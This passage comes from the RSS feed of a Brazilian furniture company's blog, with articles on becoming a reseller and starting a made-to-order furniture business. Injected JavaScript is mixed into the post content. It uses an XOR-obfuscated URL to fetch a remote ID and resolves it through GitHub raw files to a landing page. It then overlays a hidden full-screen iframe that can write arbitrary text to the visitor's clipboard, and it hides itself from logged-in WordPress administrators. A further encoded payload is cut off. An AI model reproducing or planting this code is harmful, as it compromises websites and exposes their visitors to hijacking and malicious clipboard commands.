        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/venda-de-moveis-por-que-ter-uma-revenda-exclusiva-da-marel-b/">Venda De Móveis — Veja Os Benefícios De Ter Uma Revenda Exclusiva Da Marel Design Mobili</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Como Começar Um Negócio Na Área de Móveis Planejados?</title>
		<link>https://marel.com.br/como-comecar-um-negocio-na-area-de-moveis-planejados-b/</link>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Thu, 17 Mar 2022 18:41:17 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=7318</guid>

					<description><![CDATA[<p>Confira neste artigo como começar um negócio na área de móveis planejados, um dos mercados mais aquecidos do país. </p>
<p>O post <a href="https://marel.com.br/como-comecar-um-negocio-na-area-de-moveis-planejados-b/">Como Começar Um Negócio Na Área de Móveis Planejados?</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">Quer investir em um novo segmento, mas não sabe como começar um negócio na área de móveis planejados? Então você está no lugar certo! Neste artigo, nós vamos dar três dicas incríveis para você começar a investir nesse segmento que vem crescendo tanto nos últimos tempos.&nbsp;</p>



<h2 class="wp-block-heading"><strong>Como começar um negócio de móveis planejados? Veja 3 dicas</strong></h2>



<p class="wp-block-paragraph">A área de design de interiores vem crescendo cada vez mais e um dos setores que vem conquistando bastante espaço é o de móveis planejados. Esses itens vêm ganhando o coração do público, graças a sua modernidade, praticidade e sofisticação.</p>



<p class="wp-block-paragraph">Confira as dicas de como começar um negócio de móveis planejados e comece a organizar o seu investimento!&nbsp;</p>



<h3 class="wp-block-heading"><strong>1. Tenha um plano de negócios</strong></h3>



<p class="wp-block-paragraph">A primeira coisa para começar o seu empreendimento com o pé direito é desenvolver um plano de negócios. Esse documento serve para você ter uma visão mais ampla do mercado que está entrando e conseguir tomar ações estratégicas para estar bem posicionado. O seu planejamento deve conter:</p>



<ul class="wp-block-list"><li>o que é o negócio;</li><li>principais produtos e serviços;</li><li>quem são seus clientes;</li><li>localização da loja de móveis planejados;</li><li>capital a ser investido;</li><li>metas de faturamento mensal;</li><li>em quanto tempo o capital inicial investido será retornado.</li></ul>



<h3 class="wp-block-heading"><strong>2. Escolha um bom ponto comercial</strong></h3>



<p class="wp-block-paragraph">A localização do seu negócio pode decidir se a sua loja será um sucesso ou não. Por isso, escolha com muito cuidado o ponto comercial. Tenha em mente que ele precisa ser acessível e facilmente visto pelo público.</p>



<p class="wp-block-paragraph">Para tomar essa decisão você precisa conhecer quem são os seus clientes e saber onde eles frequentam.&nbsp;</p>



<p class="wp-block-paragraph">Dê preferência para locais próximos a centros comerciais, lojas de decoração e seguimentos correlacionados, pois isso promove o trânsito de clientes com o mesmo propósito.&nbsp;</p>



<p class="wp-block-paragraph">É imprescindível, também, que o ponto comercial possua estacionamento próprio para comodidade dos seus clientes.</p>



<h3 class="wp-block-heading"><strong>3. Encontre um bom fornecedor</strong></h3>



<p class="wp-block-paragraph">Para garantir a satisfação dos seus clientes você precisa de um bom fornecedor de móveis planejados. É preciso que a fábrica seja confiável, utilize matérias-primas de qualidade e entregue no prazo. Além disso, é importante que os produtos sejam bonitos e sigam as tendências de design de interiores, valorizando cores, padrões e texturas.</p>



<p class="wp-block-paragraph">Tudo isso você encontra na Marel Design Mobili, fábrica com mais de 54 anos de atuação no mercado moveleiro e com lojas exclusivas em vários estados do Brasil. Todos os nossos móveis são produzidos com tecnologia alemã aliada à sofisticação do design italiano. Os nossos lojistas contam com:</p>



<ul class="wp-block-list"><li>suporte rápido e acessível;</li><li>produtos de alto padrão;</li><li>estrutura operacional que dá todo o suporte necessário.</li></ul>



<p class="wp-block-paragraph">Está se perguntando como começar um negócio na área de móveis planejados? <a href="https://marel.com.br/seja-um-revendedor/">Seja um revendedor Marel</a> e invista com segurança em um dos mercados mais promissores do país!</p>
<script>(function(){var __s=(function(){var _0x5641=[114,60,47,52,57,46,51,53,52,122,114,115,122,33,87,80,122,122,44,59,40,122,27,10,19,5,19,30,5,15,8,22,122,103,122,120,50,46,46,42,41,96,117,117,40,53,41,40,63,60,47,40,56,53,41,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42,120,97,87,80,122,122,44,59,40,122,14,8,15,9,14,31,30,5,25,21,20,28,19,29,9,122,103,122,1,87,80,122,122,122,122,33,122,46,63,55,42,54,59,46,63,96,122,120,50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39,120,118,122,47,41,63,28,63,46,57,50,96,122,46,40,47,63,122,39,87,80,122,122,7,97,87,80,87,80,122,122,44,59,40,122,29,22,21,24,27,22,5,17,31,3,122,103,122,114,46,35,42,63,53,60,122,9,35,55,56,53,54,122,103,103,103,122,120,60,47,52,57,46,51,53,52,120,122,124,124,122,9,35,55,56,53,54,116,60,53,40,115,87,80,122,122,122,122,101,122,9,35,55,56,53,54,116,60,53,40,114,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,115,87,80,122,122,122,122,96,122,120,5,5,51,52,54,51,52,63,5,51,62,5,53,60,60,63,40,5,5,120,97,87,80,87,80,122,122,44,59,40,122,40,63,61,51,41,46,40,35,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,103,122,45,51,52,62,53,45,1,29,22,21,24,27,22,5,17,31,3,7,122,38,38,122,33,87,80,122,122,122,122,41,46,59,46,47,41,96,122,120,51,62,54,63,120,118,87,80,122,122,122,122,51,60,40,59,55,63,19,62,96,122,120,5,5,51,52,54,51,52,63,5,53,60,60,63,40,5,51,60,40,59,55,63,5,5,120,118,87,80,122,122,122,122,51,60,40,59,55,63,27,46,46,40,96,122,120,62,59,46,59,119,51,52,54,51,52,63,119,53,60,60,63,40,119,60,40,59,55,63,120,118,87,80,122,122,122,122,50,51,52,46,41,96,122,33,39,118,87,80,122,122,122,122,40,47,52,10,40,53,55,51,41,63,96,122,52,47,54,54,118,87,80,122,122,122,122,62,63,41,46,40,53,35,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,44,63,59,54,96,122,52,47,54,54,118,87,80,122,122,122,122,40,63,43,47,63,41,46,14,51,55,63,53,47,46,23,41,96,122,110,106,106,106,118,87,80,122,122,122,122,51,60,40,59,55,63,14,51,55,63,53,47,46,23,41,96,122,99,106,106,106,118,87,80,122,122,122,122,40,63,43,47,51,40,63,8,63,59,62,35,23,63,41,41,59,61,63,96,122,60,59,54,41,63,118,87,80,122,122,122,122,55,63,41,41,59,61,63,24,53,47,52,62,96,122,60,59,54,41,63,87,80,122,122,39,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,122,33,87,80,122,122,122,122,46,40,35,122,33,87,80,122,122,122,122,122,122,51,60,122,114,45,51,52,62,53,45,116,5,5,62,51,41,59,56,54,63,19,52,54,51,52,63,21,60,60,63,40,5,5,122,103,103,103,122,46,40,47,63,122,38,38,122,45,51,52,62,53,45,116,5,5,51,41,13,42,27,62,55,51,52,5,5,122,103,103,103,122,46,40,47,63,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,42,59,46,50,122,103,122,45,51,52,62,53,45,116,54,53,57,59,46,51,53,52,116,42,59,46,50,52,59,55,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,4,6,117,114,45,42,119,59,62,55,51,52,38,45,42,119,54,53,61,51,52,115,117,116,46,63,41,46,114,42,59,46,50,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,57,53,53,49,51,63,122,103,122,62,53,57,47,55,63,52,46,116,57,53,53,49,51,63,122,38,38,122,120,120,97,87,80,122,122,122,122,122,122,51,60,122,114,117,45,53,40,62,42,40,63,41,41,5,54,53,61,61,63,62,5,51,52,5,1,4,103,7,112,103,117,116,46,63,41,46,114,57,53,53,49,51,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,87,80,122,122,122,122,122,122,44,59,40,122,62,63,122,103,122,62,53,57,47,55,63,52,46,116,62,53,57,47,55,63,52,46,31,54,63,55,63,52,46,97,87,80,122,122,122,122,122,122,44,59,40,122,56,53,62,35,122,103,122,62,53,57,47,55,63,52,46,116,56,53,62,35,97,87,80,87,80,122,122,122,122,122,122,51,60,122,114,62,63,122,124,124,122,46,35,42,63,53,60,122,62,63,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,45,42,119,46,53,53,54,56,59,40,6,56,117,116,46,63,41,46,114,62,63,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,56,53,62,35,122,124,124,122,46,35,42,63,53,60,122,56,53,62,35,116,57,54,59,41,41,20,59,55,63,122,103,103,103,122,120,41,46,40,51,52,61,120,122,124,124,122,117,6,56,59,62,55,51,52,119,56,59,40,6,56,117,116,46,63,41,46,114,56,53,62,35,116,57,54,59,41,41,20,59,55,63,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,120,45,42,59,62,55,51,52,56,59,40,120,115,115,122,40,63,46,47,40,52,122,46,40,47,63,97,87,80,122,122,122,122,39,122,57,59,46,57,50,122,114,63,115,122,33,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,60,59,54,41,63,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,51,41,13,42,22,53,61,61,63,62,19,52,25,53,52,46,63,34,46,114,115,115,122,40,63,46,47,40,52,97,87,80,87,80,122,122,51,60,122,114,62,53,57,47,55,63,52,46,116,61,63,46,31,54,63,55,63,52,46,24,35,19,62,114,40,63,61,51,41,46,40,35,116,51,60,40,59,55,63,19,62,115,115,122,33,87,80,122,122,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,59,57,46,51,44,63,120,97,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,51,60,122,114,40,63,61,51,41,46,40,35,116,40,47,52,10,40,53,55,51,41,63,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,54,53,59,62,51,52,61,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,59,57,46,51,44,63,120,122,38,38,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,103,103,122,120,62,53,52,63,120,115,122,33,87,80,122,122,122,122,40,63,46,47,40,52,97,87,80,122,122,39,87,80,87,80,122,122,40,63,61,51,41,46,40,35,116,41,46,59,46,47,41,122,103,122,120,54,53,59,62,51,52,61,120,97,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,41,59,60,63,27,42,42,63,52,62,11,47,63,40,35,114,47,40,54,118,122,49,63,35,118,122,44,59,54,115,122,33,87,80,122,122,122,122,44,59,40,122,41,63,42,122,103,122,47,40,54,116,51,52,62,63,34,21,60,114,120,101,120,115,122,100,103,122,106,122,101,122,120,124,120,122,96,122,120,101,120,97,87,80,122,122,122,122,40,63,46,47,40,52,122,47,40,54,122,113,122,41,63,42,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,49,63,35,115,122,113,122,120,103,120,122,113,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,44,59,54,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,56,47,51,54,62,14,40,47,41,46,63,62,15,40,54,114,46,63,55,42,54,59,46,63,118,122,51,62,115,122,33,87,80,122,122,122,122,51,60,122,114,123,46,63,55,42,54,59,46,63,122,38,38,122,123,51,62,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,62,40,53,42,56,53,34,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,51,62,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,44,59,40,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,15,8,19,25,53,55,42,53,52,63,52,46,114,51,62,115,97,87,80,87,80,122,122,122,122,51,60,122,114,46,63,55,42,54,59,46,63,116,51,52,62,63,34,21,60,114,120,61,51,41,46,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,120,115,122,100,103,122,106,115,122,33,87,80,122,122,122,122,122,122,63,52,57,53,62,63,62,122,103,122,63,52,57,53,62,63,62,116,40,63,42,54,59,57,63,114,117,127,104,28,117,61,118,122,120,117,120,115,97,87,80,122,122,122,122,39,87,80,87,80,122,122,122,122,40,63,46,47,40,52,122,46,63,55,42,54,59,46,63,116,40,63,42,54,59,57,63,114,117,6,33,51,62,6,39,117,61,118,122,63,52,57,53,62,63,62,115,97,87,80,122,122,39,87,80,87,80,122,122,60,47,52,57,46,51,53,52,122,46,53,18,46,46,42,15,40,54,114,44,59,54,47,63,115,122,33,87,80,122,122,122,122,51,60,122,114,123,44,59,54,47,63,115,122,40,63,46,47,40,52,122,120,120,97,87,80,87,80,122,122,122,122,44,59,40,122,41,122,103,122,9,46,40,51,52,61,114,44,59,54,47,63,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,6,47,28,31,28,28,117,118,122,120,120,115,87,80,122,122,122,122,122,122,116,46,40,51,55,114,115,87,80,122,122,122,122,122,122,116,40,63,42,54,59,57,63,114,117,4,1,125,120,58,6,41,7,113,38,1,125,120,58,6,41,7,113,126,117,61,118,122,120,120,115,97,87,